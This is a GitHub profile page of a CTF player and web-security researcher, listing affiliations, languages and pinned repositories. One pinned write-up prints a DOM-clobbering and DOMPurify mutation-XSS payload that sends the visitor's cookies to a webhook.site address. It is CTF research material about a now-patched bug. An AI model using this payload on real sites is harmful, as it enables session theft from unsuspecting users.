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81 followers · 14 following

Achievements

Achievement: Pull Sharkx2Achievement: Starstruck

Achievements

Achievement: Pull Sharkx2Achievement: Starstruck

Organizations

@Zellic @Super-Guesser @acsc-org

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sqrtrev/README.md

SeungHyun Kim - sqrtrev

I'm currently a master course student at Korea University and play CTFs with WreckTheLine and Super Guesser. Super Guesser is a team that I founded. Anyway, I love to play CTFs and research web security. If you want more information about me, you can check my cv.

The Languages I do

  • Python
  • PHP
  • C
  • C++
  • C#
  • Java
  • x86 Assembly(I love Intel's)
  • Javascript(Also node.js)
  • etc..(like shell script, Go, etc...)

Pinned Loading

  1. Super-Guesser/ctf Super-Guesser/ctf Public

    Python 109 8

  2. analysis-php_output_buffering analysis-php_output_buffering Public

    C 3

  3. bfnote Write up using DOMPurify 0-day bfnote Write up using DOMPurify 0-day
    1 
    Craft url via DOM Clobbering
    2 
    And xss via DOMPurify 0-day(now patched, https://github.com/cure53/DOMPurify/commit/02724b8eb048dd219d6725b05c3000936f11d62d )
    3 
    
              
    
              
    
                4
                
    [<a id=a><a id=a name=b href="//webhook.site/f43558da-640a-4ad3-817e-6144d4bc2e7d/" />]
    
              
    
              
    
                5
                
    <math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=location.href=a.b.href+document.cookie">
    
              
    
          
    
    
    
  
    

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IJCTF2021-Memory
IJCTF2021-Memory          Public
        
    
      
    


      
    
        
      
    

      
    
          
  
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